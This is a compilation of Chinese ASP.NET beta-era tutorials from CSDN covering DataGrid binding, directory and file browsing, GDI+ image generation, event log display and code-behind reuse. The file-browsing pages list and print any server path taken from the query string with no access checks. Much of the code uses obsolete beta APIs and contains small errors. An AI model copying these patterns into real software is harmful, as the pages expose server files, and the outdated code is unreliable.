using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
/// <summary>
/// Summary description for WebForm1.
/// </summary>
public class WebForm1 : System.Web.UI.Page
{
protected System.Web.UI.WebControls.DataGrid DataGrid1;
protected system.Web.UI.WebControls.Button Button1;
public WebForm1()
{
Page.Init += new System.EventHandler(Page_Init);
}
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
//
// Evals true first time browser hits the page
//
}
}
protected void Page_Init(object sender, EventArgs e)
{
//
// CODEGEN: This call is required by the ASP+ Windows Form Designer.
//
InitializeComponent();
}
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
Button1.Click += new System.EventHandler (this.Button1_Click);
this.Load += new System.EventHandler (this.Page_Load);
}
public void Button1_Click (object sender, System.EventArgs e)
{
}
}
}

第五步：在按钮的OnClick 上组装DataGrind
现在来编写按钮点击事件时填充栅格控件的代码。
在工程文件中使用ADO对象之前需增加对System.Data.ADO名称空间的引用：
using System.Data.ADO;
下面是Button1_Click 方法的代码：
public void Button1_Click (object sender, System.EventArgs e)
{
ADODataSetCommand CmdSet = new ADODataSetCommand( "Select * from myTable",
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\\myDB.mdb");
DataSet ds = new DataSet();
CmdSet.FillDataSet(ds, "myTable");
DataGrid1.DataSource = ds.Tables["myTable"].DefaultView;
DataGrid1.DataBind();
}

第六步：编译并运行
现在用 CTRL+F5 或菜单项来编译和运行应用程序。这个工程文件打开一个浏览器的新例示，看起来是这样的：

现在点击Button看看结果，看起来是下面的样子，DataGrid中填充了来自数据库的myTable表中的数据：

这是一个非常基本的Web应用程序。现在你可以通过设置它的属性来定制Grid控件，并且开发更有用的应用程序，如在数据库中读取、删除、插入、更新记录。甚至还可以使用其它数据库，如 SQL Server。


csdn_ASP.NET编程实例ABC(1)

  ASP.NET编程实例ABC(1)
作者： 青苹果工作室
ASP.NET是微软.NET宏大战略的一部分。我们不能仅仅将它看成是ASP语言的进化版本，它所能发挥的威力将使开发人员激动与惊喜，更快、更好地实现梦想！本文就介绍ASP.NET的几个常用实例，通过与ASP语言实现方式的对比，让我们对它的强大眼见为实！实例内容（包括下载代码）如下：

  ●　在ASP.NET中实现目录浏览
  ●　在ASP.NET中随意创建图形信息
  ●　在ASP.NET中显示事件日志记录

要运行这些例程，需要在Web服务器上安装Microsoft .NET Framework SDK。要理解代码的含义，需要对C# 编程语言有一定程度的了解。

在ASP.NET中实现目录浏览

在用ASP语言编程的"美好旧时光"中，我们应该不会忘记FileSystemObject对象。它允许对文件系统进行读、写以及目录浏览。但是这个对象模型并不十分完善，比如对于二进制文件来说，还没有开始操作就已经到达范围的结尾了。另外，还有一些希望的函数和属性在ASP中也没有具备。
但是出现了ASP.NET，这些愿望就都能在System.IO 名称空间中被 .NET Framework 类所实现。你会发现，文件处理从没有这么容易过，而且最重要的是从没有这么强大过。
这里，我们将演示文件处理的一个部分：文件和目录列表。我们创建了一些脚本程序，你可以将其应用在自己的应用程序中。
列举驱动器
首先，我们要知道在计算机上有哪些可浏览的驱动器，这些代码保存在文件listdrives.aspx中：
<% @Page Language="C#" %>
<% @Import Namespace="System.IO" %>
<%
string[] achDrives = Directory.GetLogicalDrives();
int nNumOfDrives = achDrives.Length;

Response.Write("<ul>");
for (int i=0; i < nNumOfDrives; i++)
{
Response.Write("<li><a href=\"listdir.aspx?dir=");
Response.Write(Server.UrlEncode(achDrives[i]));
Response.Write("\">" + achDrives[i]);
Response.Write("</a><br>");
}
Response.Write("</ul>");
%>
根据 @Import 名称空间标识，在System.IO 名空间中有一个类叫做Directory，它包含了一些可用于目录上的功能。这个类中还包含静态（不需要对象例示就能调用的）方法GetLogicalDrives，它提供了包含驱动器字母的一个字符串数列。
当然，不能只有一个从GetLogicalDrives 获取的驱动器简单列表，还需要增加了一个页面，在这个页面中提供有关驱动器根目录的信息。
列出目录和文件
有了目录，我们就可以进一步探索子目录、文件以及目录本身的属性（如创建的日期等）了。文件 listdir.aspx 演示了如何执行这些功能：
<% @Page Language="C#" %>
<% @Import Namespace="System.IO" %>
<%
string strDir2List = Request.QueryString.Get("dir");
Directory thisOne = null;
try
{
thisOne = new Directory(strDir2List);
// Reading the directory properties
Response.Write("<p>Creation: " +
thisOne.CreationTime.ToString() + "</p>");
Directory[] subDirectories = thisOne.GetDirectories();
Response.Write("<ul>");
for (int i=0; i < subDirectories.Length; i++)
{
Response.Write("<li><a href=\"listdir.aspx?dir=");
Response.Write(Server.UrlEncode(subDirectories[i].FullName));
Response.Write("\">" + subDirectories[i].Name);
Response.Write("</a><br>");
}
Response.Write("</ul>");

File[] theFiles = thisOne.GetFiles();
Response.Write("<ul>");
for (int i=0; i < theFiles.Length; i++)
{
Response.Write("<li><a href=\"showfile.aspx?file=");
Response.Write(Server.UrlEncode(theFiles[i].FullName));
Response.Write("\">" + theFiles[i].Name);
Response.Write("</a><br>");
}
Response.Write("</ul>");
}
catch (Exception e)
{
Response.Write("Access not possible, error: <i>");
Response.Write(e.ToString() + "</i>");
Response.End();
}
%>
我们使用GetDirectories方法实现目录信息的读取。这个方法返回一个目录对象数组，我们可以用这个数组来建立想要的功能，比如说建立一个更深入的链接。这同样适用于GetFiles方法，它返回一个文件对象数组。
你可能注意到这里使用了try－catch语句。是的，这是为了防止例外情况的发生。比如，当用户试图访问一些不允许他访问的内容时。
显示文件信息
现在到了文件这一级。一个文件有许多属性，为了缩短脚本，下面的例程（文件showfile.aspx）只显示了其中的一些：
<% @Page Language="C#" %>
<% @Import Namespace="System.IO" %>
<html>
<head><title>File Info</title></head>
<body>
<%
string strFile2Show = Request.QueryString.Get("file");
File thisOne = new File(strFile2Show);
%>
<table>
<tr><td>Name:</td><td><%=thisOne.Name%></td></tr>
<tr><td>Path:</td><td><%=thisOne.FullName%></td></tr>
<tr><td>Directory:</td><td><%=thisOne.DirectoryName%></td></tr>
<tr>
<td>Date created:</td>
<td><%=thisOne.CreationTime.ToString()%></td>
</tr>
<tr>
<td>Size:</td>
<td><%=thisOne.Length.ToString()%> Bytes</td>
</tr>
<tr>
<td>Last access:</td>
<td><%=thisOne.LastAccessTime.ToString()%></td>
</tr>
<tr>
<td>Last modified:</td>
<td><%=thisOne.LastWriteTime.ToString()%></td>
</tr>
</table>

<%
StreamReader theReader = thisOne.OpenText();
char[] theBuffer = new char[255];
int nRead = theReader.ReadBlock(theBuffer, 0, 255);
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(new String(theBuffer,0,nRead)));
Response.Write("</pre>");
%>

</body>
</html>
为了演示实现的简单性，在这段脚本代码的结尾处抄了个近路执行文件的读取。首先，打开一个 StreamReader 对象，创建一个缓冲器，用ReadBlock方法来填充缓冲器，并且将 HTML编码段传递给客户；然后很快地就形成了一个小型的"文件预览"。没有费多大周折，你看操作文件的内容是多么得简单 :-)
递归循环以显示目录列表
最后，我们还要编写一个创建目录树的程序recursivelisting.aspx。在其中，我们使用函数RecursiveDump来生成目录树。请看具体代码：
<% @Page Language="C#" %>
<% @Import Namespace="System.IO" %>
<%
string strDir2List = Request.QueryString.Get("dir");
Directory thisOne = new Directory(strDir2List);

Response.Write("<pre>");
RecursiveDump(thisOne, 0);
Response.Write("</pre>");
%>

<script language="C#" runat="server">
void RecursiveDump(Directory theDir, int nLevel)
{
Directory[] subDirectories = theDir.GetDirectories();
for (int i=0; i < subDirectories.Length; i++)
{
Response.Write(new String(' ',nLevel));
Response.Write(subDirectories[i].Name + "\r\n");
RecursiveDump(subDirectories[i], nLevel+1);
}
}
</script>
为了简单起见，这里只使用了空格来生成目录树结构。为使空格在HTML中可以生效，我们必须使用<PRE>标记，否则这些空格就会被忽视。
函数本身有两个参数：一个是目录对象，一个是整数变量以指示当前级别。在当前级别中，用 GetDirectories读取子目录信息，然后在一个 for循环中显示它。对于每个Directory对象， 都调用 RecursiveDump函数，然后级别加1。
注意：列举整个驱动器会花费很多时间。最后，让我们来看看浏览器中的执行结果：

小 结
本文介绍了System.IO 名称空间中的两个对象：Directory和 File。虽然"只"用它们简单显示了目录和文件信息，但我们要知道：这两个对象是执行文件处理的基础。


csdn_ASP.NET编程实例ABC(2)

  ASP.NET编程实例ABC(2)
作者： 青苹果工作室
在ASP.NET中随意创建图形信息
如果没有一个外部组件的支持，在ASP中是不能动态创建图形的，不管它是一个图表，一个横幅或仅仅是一个图形计数器。可喜的是，这一点在ASP.NET中改变了。现在，我们只需要使用内置功能，就能够很容易动态创建图形，并向客户端发送具有最佳配置的图形。
用命令行程序创建图形
在讨论一大堆ASP.NET代码之前，我们先执行一个简单的命令行程序做一个测试，然后使用这些源代码作为 ASP.NET 脚本的基础。实际上，两者的区别在于：命令行程序将图形保存在一个文件中，而ASP.NET 脚本将图形直接发送到客户端。
举例的程序做什么呢？按照惯例，我们从众所周知的"Hello World" 程序开始，把这个文本信息输出到一个图形文件中，这个图形的大小要与当前选中的 "Hello World" 文本的字体和字号完全相同。
下面的脚本pagecounter.cs是一个典型的简单命令行程序：如果忽略包围在其周围的必须的类代码，就只剩下程序运行时要调用的主函数了，这也正是生成图形的代码所在处：
using System;
using System.IO;
using System.Drawing;
using System.Drawing.Imaging;

public class CTestBitmapFunctionality
{
public static void Main()
{
Bitmap newBitmap = null;
Graphics g = null ;

try
{
Font fontCounter = new Font("Lucida Sans Unicode", 12);

// calculate size of the string.
newBitmap = new Bitmap(1,1,PixelFormat.Format32bppARGB);
g = Graphics.FromImage(newBitmap);
SizeF stringSize = g.MeasureString("Hello World", fontCounter);
int nWidth = (int)stringSize.Width;
int nHeight = (int)stringSize.Height;
g.Dispose();
newBitmap.Dispose();

newBitmap = new Bitmap(nWidth,nHeight,PixelFormat.Format32bppARGB);
g = Graphics.FromImage(newBitmap);
g.FillRectangle(new SolidBrush(Color.White),
new Rectangle(0,0,nWidth,nHeight));

g.DrawString("Hello World", fontCounter,
new SolidBrush(Color.Black), 0, 0);

newBitmap.Save("c:\\test.png", ImageFormat.PNG);
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}
finally
{
if (null != g) g.Dispose();
if (null != newBitmap) newBitmap.Dispose();
}
}
}
在任何情况下，执行上面代码后，就会生成下面的图形test.png，它将存放在C驱动器上：

我们来仔细研究一下源代码，看看这个图形是如何创建的。关键一点是生成的图形必须与文本 "Hello World" 的字体和字号相同。因此，首先要计算文本的尺寸，为此我们使用了一个尺寸为1 x 1的虚拟图形。计算结束之后，再废弃这个虚拟图形并生成一个适当尺寸的图形。
源代码中有一点很有趣，这就是 Graphics 对象。要创建一个位图时，用这个对象做什么呢？奥妙在于：这是可以向其中绘图的上下文环境。我们可以在屏幕上、打印机上和内存中使用一个图形上下文环境，准确地说就是一个位图。图形的上下文环境使我们能够在任何设备上进行绘图操作，甚至是在虚拟设备上。
接着，用DrawString将文本 "Hello World"按照规格输出到一个白色背景的矩形（用 FillRectangle创建的）中。图形完成后，将其保存在磁盘上。凡是亲自研究过图形文件格式的人都知道这有多困难，但是使用 GDI+ （图形设备接口）就不那么困难了，这只需要下面的简单命令就可以：
newBitmap.Save("c:\\test.png", ImageFormat.PNG);
如果用ImageFormat.JPEG替换ImageFormat.PNG，就可以得到一个 jpeg文件。这正是我们所期待的操作图形的最简单用法。
例外处理代码也很有必要，因为有些函数会造成例外，比如没有足够的内存用来创建位图。而且，不要忘记释放图形和位图，这是编程的良好习惯，有始有终吗！最后，程序结束。
好了，现在请使用下面的命令将源代码进行编译，生成EXE文件pagecounter.exe，然后在安装了Microsoft .NET框架的系统上测试运行：
csc /R:System.DLL /R:System.Drawing.DLL pagecounter.cs
在Web服务器上创建ASP.NET程序
上面的代码作为一个命令行应用程序已经足够了，但是要编写相应的 ASP.NET 脚本，就必须再添加几个功能：
●可选择的文本（如一个计数器）
●可选择的文本颜色
●可选择的背景颜色
●可选择的字体
●可选择的字号
如果你认为这些太难做到了，那么就请先看看相关的ASP.NET 脚本源代码pagecounter.aspx。要提醒的是：增加任意数量的错误处理代码以查看所传递参数的有效性，这是所必须做的修改中最大的一部分。
另一个需要修改的地方是将图形发送给客户端而不是将它写入一个文件中。这个新部分的代码是这样的：
MemoryStream tempStream = new MemoryStream();
newBitmap.Save(tempStream,ImageFormat.PNG);

Response.ClearContent();
Response.ContentType = "image/png";
Response.BinaryWrite(tempStream.ToArray());
Response.End();
这里只是将图形"缓存"到内存中，然后将其作为一个字节数组传递给BinaryWrite函数。
仔细研究了源代码的人会注意到这里将所有可选择参数都作为查询字符串进行了传递，这可能会成为一个很长的尾巴。为了简洁起见，我们建立了一个如下所示的表单，这样就可以测试不同的值：

ASP.NET文件pagecountertest.aspx处理比较好的一点是我们可以在同一页面上立刻接收到图形。表单源代码包含了服务器端的ASP.NET控件。
小 结
以上我们快速涵盖了ASP.NET中的图形编程功能，了解到ASP.NET为Web开发人员实现Windows图形编程提供了全套指导。


csdn_ASP.NET编程实例ABC(3)

  ASP.NET编程实例ABC(3)
作者： 青苹果工作室
在 ASP.NET中显示事件日志记录
在Windows 2000 或 NT中，事件日志对于管理员来说几乎是最重要的信息来源，因为所有发生的事件都在那里进行记录，无论是成功的操作，还是灾难性的失败。既然如此，你是否想过让这些信息在Web上呈现出来？ 是的，这是很有意义的事情。
我们都应该很熟悉下面的事件阅读器了，下面就示范如何使用AP.NET和.NET Framework SDK来美观、清晰地模仿其条目列表。我还给读者留下一个练习题，为一个条目的完整细节构造一个页面。

较粗笨的方法
如果必须又快又粗略地完成任务，那么完全可以利用ASP语言的相关技术来生成一个事件列表（甚至可以用表格，但是这个例子没有那样做）。程序的名字是 simple.aspx，代码如下：
<% @Page Language="C#" %>
<% @Import Namespace="System.Diagnostics" %>
<%
EventLog aLog = new EventLog();
aLog.Log = "System";
aLog.MachineName = "."; // Lokale Maschine
string strImage = ""; // Icon für das Event

Response.Write("<p>There are " + aLog.Entries.Count +
" entries in the System event log.</p>");

foreach (EventLogEntry entry in aLog.Entries)
{
switch (entry.EntryType)
{
case EventLogEntryType.Warning:
strImage = "warning.png";
break;
case EventLogEntryType.Error:
strImage = "error.png";
break;
default:
strImage = "info.png";
break;
}
Response.Write("<img src=\"" + strImage + "\"> | ");
Response.Write(entry.TimeGenerated.ToString() + " | ");
Response.Write(entry.Source + " | ");
Response.Write(entry.EventID.ToString() + "<br>\r\n");
}
%>
事件日志类可以在名称空间System.Diagnostics（系统诊断）中找到，这一部分在页面的开始定义。打开日志本身很直观：创建一个新EventLog对象，指定Log 和 MachineName （"." 是本地机器的意思）。到此我们可以读取事件日志的内容了。
这将在一个 foreach循环中完成。我们在每个条目之前都放置一个图标，这样列表看起来就不至于那么平淡。另外，条目的列表顺序与通常的事件阅读器顺序相反：在这里，最老的条目列在最前面。
使用DataGrid来设计得更美观
ASP.NET带来了许多创新功能，尤其是在显示数据方面。比如，要显示的数据并不总是必须出自数据库。DataGrid Web Control 也是如此，正如其名称所示，它可以创建一个来自数据的表格或者栅格。唯一的前提是数据源要支持Icollection接口，而EventLog （事件日志）的Entries Collection（条目集合 ）正是满足这一要求的。
以下的文件datagrid.aspx演示了使用DataGrid是如何得简单：
<% @Page Language="C#" %>
<% @Import Namespace="System.Diagnostics" %>
<script language="C#" runat="server">
void Page_Load(Object sender, EventArgs e)
{
EventLog aLog = new EventLog();
aLog.Log = "System";
aLog.MachineName = ".";

LogGrid.DataSource = aLog.Entries;
LogGrid.DataBind();
}
</script>
<body bgcolor="#ffffff">

<h3>System Event Log</h3>

<form runat="server">
<ASP:DataGrid id="LogGrid" runat="server"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
/>
</form>

</body>
</html>
DataGrid 控件 除了包含格式化指令外，什么也没有。Grid通过Page_Load 事件来填充，它打开事件日志，然后将DataGrid的DataSource属性指定为Entries（条目）。接着调用 DataBind方法，所有的数据就被填入到表格中。
数据量确实不小，因为 EventLogEntry 类有许多属性，而我们只想要一个简洁的概括。下一部分就将对此进行限定。
限定DataGrid中的字段
接着的目的是要显示某些特定的字段。在讨论代码前，我们先快速看一下执行后的结果：

从原则上说，这个结果与前面的例子非常相似，唯一的不同就是显示的栏数。这种限定是靠 DataGrid 标记本身进行的，文件speccolsonly.aspx 包含了全部实现代码：
<asp:DataGrid id="LogGrid" runat="server"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AutoGenerateColumns="false">
<property name="Columns">
<asp:BoundColumn HeaderText="TOF" DataField="EntryType" />
<asp:BoundColumn HeaderText="Date/Time" DataField="TimeGenerated"/>
<asp:BoundColumn HeaderText="Source" DataField="Source"/>
<asp:BoundColumn HeaderText="Event ID" DataField="EventID"/>
</property>
</asp:DataGrid>
第一个重要步骤是将AutoGenerateColumns 属性设置为假，这样就可以防止显示所有属性。接着指定想要显示的栏目，在这里，我们指定了4个栏目。HeaderText显示在顶部行中，DataField给出填充这个栏目所要读取的属性。
在DataGrid中分页
在结束之前，我们还要使用 DataGrid 的另一个功能，也就是 数据库程序员的老相识-"分页"处理。DataGrid的优势在于处理分页几乎不需要代码。还是请先看一下执行后的结果：

请看paging.aspx文件的全部源代码：
<% @Page Language="C#" %>
<% @Assembly Name="System.Diagnostics" %>
<% @Import Namespace="System.Diagnostics" %>
<script language="C#" runat="server">
void Page_Load(Object sender, EventArgs e)
{
BindGrid();
}
void LogGrid_Page(Object sender, DataGridPageChangedEventArgs e)
{
BindGrid();
}
void BindGrid()
{
EventLog aLog = new EventLog();
aLog.Log = "System";
aLog.MachineName = ".";

LogGrid.DataSource = aLog.Entries;
LogGrid.DataBind();
}
</script>
<body bgcolor="#ffffff">
<h3>System Event Log</h3>
<form runat="server">
<asp:DataGrid id="LogGrid" runat="server"
AllowPaging="True"
PageSize="10"
PagerStyle-Mode="NumericPages"
PagerStyle-HorizontalAlign="Right"
PagerStyle-NextPageText="Next"
PagerStyle-PrevPageText="Prev"
OnPageIndexChanged="LogGrid_Page"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AutoGenerateColumns="false">
<property name="Columns">
<asp:BoundColumn HeaderText="TOF" DataField="EntryType" />
<asp:BoundColumn HeaderText="Date/Time" DataField="TimeGenerated"/>
<asp:BoundColumn HeaderText="Source" DataField="Source"/>
<asp:BoundColumn HeaderText="Event ID" DataField="EventID"/>
</property>
</asp:DataGrid>
</form>
</body>
</html>
我们可以看到，第一个变化在 DataGrid控件中：
AllowPaging="True"
PageSize="10"
PagerStyle-Mode="NumericPages"
PagerStyle-HorizontalAlign="Right"
PagerStyle-NextPageText="Next"
PagerStyle-PrevPageText="Prev"
OnPageIndexChanged="LogGrid_Page"
其中的两个最重要的属性是第一个和最后一个：AllowPaging和 OnPageIndexChanged。第一个激活分页功能，第二个指明当页面变化时所引起事件对应的方法。剩下的属性都是装饰性的。
当我们使用的是一个数据集合而不是数据库时，可以通过将数据重新捆绑在栅格上而使处理工作变得很容易。
小 结
以上介绍了在ASP.NET中如何阅读事件日志，但这不是主要目的，我们的意图是要说明DataGrid的使用是多么得广泛，这已经超出了数据库编程的主要应用领域。
结 语
以上通过3个实例的实现思路、原理以及具体代码示范了ASP.NET的实际应用。这3个例子都非常典型并且实用，我希望从这里起步，开始你的ASP.NET之神奇、强大的编程旅程。


csdn_ASP.NET重用代码技术 - 代码绑定技术

  ASP.NET重用代码技术 - 代码绑定技术
作者： 苏红超
导读
代码绑定是ASP.NET提供的一个重要的新技术。本文将会为您展示如何利用代码绑定技术来实现Web页面表示层和商业逻辑代码的分离，并建议您使用代码绑定技术实现代码的可重用。在接下来的另外一篇文章当中，我们会给出另外的一种实现代码可重用的实现技术。

ASP.NET中的代码绑定技术

当你在建立自己的ASP.NET应用程序的时候使用代码绑定技术带来的一个主要的优点是：它可以让你很容易的将可见层（那些HTML代码和服务器端控件）同你的表现代码（这些代码有可能是VB,C#或者其他的任何.NET支持的语言）自由的分离开来。当你有一个多人的开发小组开发同一个项目的时候，这个优势就更加明显。某个人可能负责web页面的设计和编写，而另外的一个人可能是负责页面相关的具体程序的开发。因而通过将各自的工作范围分割的做法，可以轻松的实现双方不会在无意之间破坏对方的工作成果。当然，要做到页面能够正常的运行，各自之间的良好沟通也是必不可少的。

当我们使用代码绑定技术的时候，可视层的代码是存在于后缀为ASPX的文件当中。这是一个新的.NET扩展名，用来描述一个ASP文件。在以前的ASP中很难做到一个页面当中没有任何脚本程序只有HTML代码（当然如果你毫无意义这样作也是可以的）。然而现在代码绑定技术允许ASPX文件仅仅包含HTML代码和服务器端控件，并且允许开发者完全的使用面向对象方式来实现一个解决方案。通过一个分开的代码文件中访问这个ASPX文件的这样一种机制可以实现上面的设想。这些文件在浏览器第一次发出请求的时候被编译成单独的二进制文件，如下图所示：

代码绑定文件是一个独立的文件，可以使用任何.NET支持的语言编写。比如，使用Visual Basic .NET来编写这些文件，它的扩展名将会是“vb”。这个代码绑定的代码包含了所有的和表示层相关的事件、功能函数、方法等等。每一个ASPX文件只能通过一个代码绑定文件实现。

当然，通过一定的工作，代码绑定技术可以用在多种需要可重用代码的环境当中。每一个ASPX文件有他们自己的代码绑定文件，并且多个功能类似的ASPX文件可以共享一个公共的代码绑定文件。本文会展示如何实现你的ASPX文件的最基本代码绑定技术，并且会详细讨论代码绑定技术如何被应用于代码可重用方面。以后的文章当中，我们会陆续介绍.NET架构提供的其他也可以容易实现代码重用的技术，比如用户控件，编译的集合等等。 让我们来大致看一下一个例子，来看看如何实现代码绑定技术。为了简单起见，我们的例子会以一个简单的搜索页面作为开始。当我们一步步通过代码绑定技术建立我们的搜索页面之后，我们就会能够看到代码绑定技术是如何实现一个代码重用的ASPX文件。为了使得ASP.NET程序正常运行，你必须安装.NET架构Beta1。如果要使得本文提出的程序正常运行，您必须安装SQL Server2000。

一步步实现代码绑定技术
首先，我们需要建立一个．ASPX文件。在这个ASPX文件当中，我们需要使用@page指令来说明我们正在使用一个代码绑定的文件。为了做到这一点，我们需要设置两个属性：src以及inherits。Src属性指定了包含实际代码的文件,如果没有这个属性，则在属性inherits中指定的类会从编译时候传递的参数中寻找。Inherits属性指定在源文件中存在的类。这个类需要从Page类中派生。我们的具体例子如下：

<%@ Page Language="vb" AutoEventWireup="false" src="Search.VB" Inherits="Search"%>

接下来，我们需要添加适当的控件来建立我们的用户界面。既然我们的例子页面是一个简单的搜索页面，我们只需要加入很少的一部分控件就可以了。除了一些标签标记，我们需要增加一个搜索的文本框，一个提交搜索的按钮，以及一个DataGrid控件来显示数据库中的内容。下面是代码：

<%@ Page Language="vb" src="search.vb" inherits="Search" %>
<html>
<head>
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
</head>
<body>
<form id="SearchMain" method="post" runat="server">
<p>
<asp:Label id=lblTitle runat="server" Font-Names="Arial"
Font-Bold="True">Worldwide Books Search</asp:Label>
</p>
<p>
<asp:Label id=lblCriteria runat="server" Font-Names="Arial"
Font-Italic="True">Search Criteria</asp:Label><br>
<asp:TextBox id=txtSearch runat="server"></asp:TextBox>
</p>
<p>
<asp:Button id=cmdSearch runat="server" Text="Search"></asp:Button>
</p>
<p>
<asp:DataGrid id=grdBooks runat="server" Font-Names="Arial"
ForeColor="Black" Font-Size="Smaller">
<property name="AlternatingItemStyle">
<asp:TableItemStyle HorizontalAlign="Left" VerticalAlign="Top"
BackColor="Salmon">
</asp:TableItemStyle>
</property>
<property name="FooterStyle">
<asp:TableItemStyle ForeColor="White" BackColor="Silver">
</asp:TableItemStyle>
</property>
<property name="ItemStyle">
<asp:TableItemStyle HorizontalAlign="Left" VerticalAlign="Top" BackColor="White">
</asp:TableItemStyle>
</property>
<property name="HeaderStyle">
<asp:TableItemStyle Font-Bold="True" ForeColor="White"
BackColor="Navy">
</asp:TableItemStyle>
</property>
</asp:DataGrid>
</p>
</form>
</body>
</html>

下面是运行后的界面：

下面，我们需要建立我们的代码绑定页面。（如果我们使用Visual Studio.NET Beta1来构建我们的ASPX文件的话，那么系统会在ASPX生成的同时，自动的产生相关的代码绑定文件）。在这篇文章，我们的例子使用的VB语言，当然其他任何被支持的语言（比如：C#,C++）也能被使用。为了使得代码绑定页面正常工作，一些项目需要在源文件当中包含进来。如下：

一些相关的集合名称控件需要引用
ASPX文件所要继承的公共类需要存在，并且这个类需要继承System.Web.UI.Page
控制变量的声明
对于我们的例子，我们需要引用System.Web.UI.WebControls这个名称空间来存取Web控件的类。为了操作数据库中的资料，我们需要引用System.Data和System.Data.SQL这两个名称空间。引用System.Collections名称空间允许我们使用哈希表来捕获应用程序的相关设定。通过Microsoft.VisualBasic这个名称空间，我们可以使用一些VB的函数库。

接下来，我们需要建立一个公共的类使得我们的ASPX文件可以继承它。类的名称应当和我们的ASPX文件中指令@page的属性inherints指定的名称相同。这个类应当继承System.Web.UI.Page。通过继承上面的类，我们建立的类就可以存取ASPX页面了。

最后，我们需要声明我们在程序中用到的控件，尤其是我们的按钮控件，这样我们就可以捕获到按钮的click事件了。为了能做到这点，我们需要在类中建立这些用来表现我们的按钮和文本框的变量。这些变量需要使用WithEvents关键字来建立，如下所示：

Protected WithEvents cmdSearch As System.Web.UI.WebControls.Button
Protected WithEvents txtSearch As System.Web.UI.WebControls.TextBox

这样，我们的代码绑定页面看起来如下：

Option Strict Off
Imports System.Data
Imports System.Data.SQL
Imports System.Web.UI.WebControls
Imports System.Collections
Imports Microsoft.VisualBasic

Public Class Search
Inherits System.Web.UI.Page
Protected WithEvents cmdSearch As System.Web.UI.WebControls.Button
Protected WithEvents txtSearch As System.Web.UI.WebControls.TextBox

Protected Sub Search_Load(ByVal Sender As System.Object, ByVal e As System.EventArgs)

If Not IsPostback Then ' Evals true first time browser hits the page
End If
End Sub

End Class

应当注意到的是，如果我们是使用Visual Studio.NET Beta1来工作的，它会自动的帮助我们生成大部分的代码。

这样就基本完全的实现了一个使用了代码绑定技术的页面的编写。对于我们的例子来说，很显然我们需要加入实际的代码来真正实现搜索和结果的显示。所以，我们要建立一个公共的子过程，在搜索按钮被按下的时候会调用这个公共的子过程。在我们的例子当中，相应的代码大致如下：

Public Sub cmdSearch_Click(ByVal sender As Object, ByVal e As System.EventArgs) _
Handles cmdSearch.Click

关键字Handles表示当cmdSearch按钮的click事件被触发的时候会执行我们的这个公共子程序。（另外需要做的一件事情是，需要在page_load事件中监测Page.IsPostBack的值是否是true，在监测Page.ISPostBack属性的时候，我们也同时进行真正的搜索工作）。接下来的代码就只是简单的按照输入的条件在数据库pubs中搜索，并且返回搜索结果给DataGrid控件。

可重用表现怎样？
上面我们做的工作的成果就是将我们的用户界面从程序代码中分离了出来。但是这对可重用起到了什么激励作用呢？代码绑定技术对于组织程序代码来讲是一项卓越的技术，但是它或许仅仅对那些在某些环境下的代码重用有帮助作用，主要是这个技术非常适合于在需要建立两个为了相同或相似目的页面的时候使用，这时候起到了很好的代码重用的作用。比如，假设你需要为两种不同类型的用户建立两个登陆页面，并且两个页面在外观界面上面有很大不同（但是实际上的起到的作用是非常类似的）。这样建立两个ASPX文件，他们共用一个相同的代码绑定文件是非常明智的做法。另外的一个例子则看起来有些极端化—那就是或许你的应用程序当中有一些页面同时需要德文和英文两个版本！
对于我们的例子，我们接下来要建立一个看起来比较吸引人的页面，因为使用了不少的图片；如果要看到最佳的效果，需要浏览器采用800 X600的分辨率。而我们最初的原始页面则可以用到在一个Pocket PC上面的浏览器观看（在Pocket PC上面屏幕大小是非常宝贵的，而不建议采用过多毫无意义的图片）。这样，我们只需要建立一个另一个简单的ASPX文件，在这个ASPX文件的@page指令当中引用相同的源文件（src属性）以及类（inherits属性）。这个比较美观的页面界面如下：

当你提交一个搜索请求的时候，无论是我们的第一个原始页面还是现在的这个比较美观的页面，都会通过search.vb这个文件来执行搜索动作。返回结果的页面因为各自的样式设置不同会稍稍有所差别，但是实际上他们使用的都是同一段代码而得到的需要的数据。
我们的第一个简单的页面搜索之后的界面如下：

相同的，界面比较美观的页面返回的搜索结果界面如下：

局限性
使用代码绑定技术实现的代码重用有没有一些局限性呢？不幸的是，答案是肯定的，这个技术有一些主要的局限性。其中一个较大的局限性就是一个ASPX文件仅仅能够继承一个类。这就意味着开发者将不得不为每一个ASPX页面开发一个针对它的代码绑定页面，除非是遇到了上面的我们曾经描述过的相似情节才可以多个ASPX文件共享一个公用的代码绑定页面。

另外的一个代码重用的限制是：如果那些ASPX页面差别很大，你会在重利用代码绑定页面的时候有一些麻烦。记住，在代码绑定类方面，在ASPX页面上的那些控件是使用WithEvents关键字来声明的。如果一个控件在其中的某一个ASPX页面上面，而另外的一个ASPX页面没有这个控件，你就不能使用控件声明的方式，而要使用Page.FindControls方法来的到这个控件的一个引用，当然前提是如果在某个页面上存在这个控件的话（如果不存在，会返回”nothind”）。通过这个方法，我们可以调用控件的属性、方法，但是不能捕获到控件的事件。因此，如果控件不同时存在于页面上的话，我们就不能使用event handling。如果我们想要能够捕获控件的事件，我们需要使用另外的一种代码重用技术—用户控件技术，这是另外的一篇文章探讨的内容了。

总结
在这篇文章当中，我们探讨了使用代码绑定技术的基本概念，同时也给出了一个实际的例子，就是两个不同的ASPX文件共享一个通用的代码绑定类。我们也探讨了使用代码绑定技术实现代码重用的优点和局限性


csdn_ASP.NET重用代码技术 - 用户控件技术

  ASP.NET重用代码技术 - 用户控件技术
作者： 苏红超
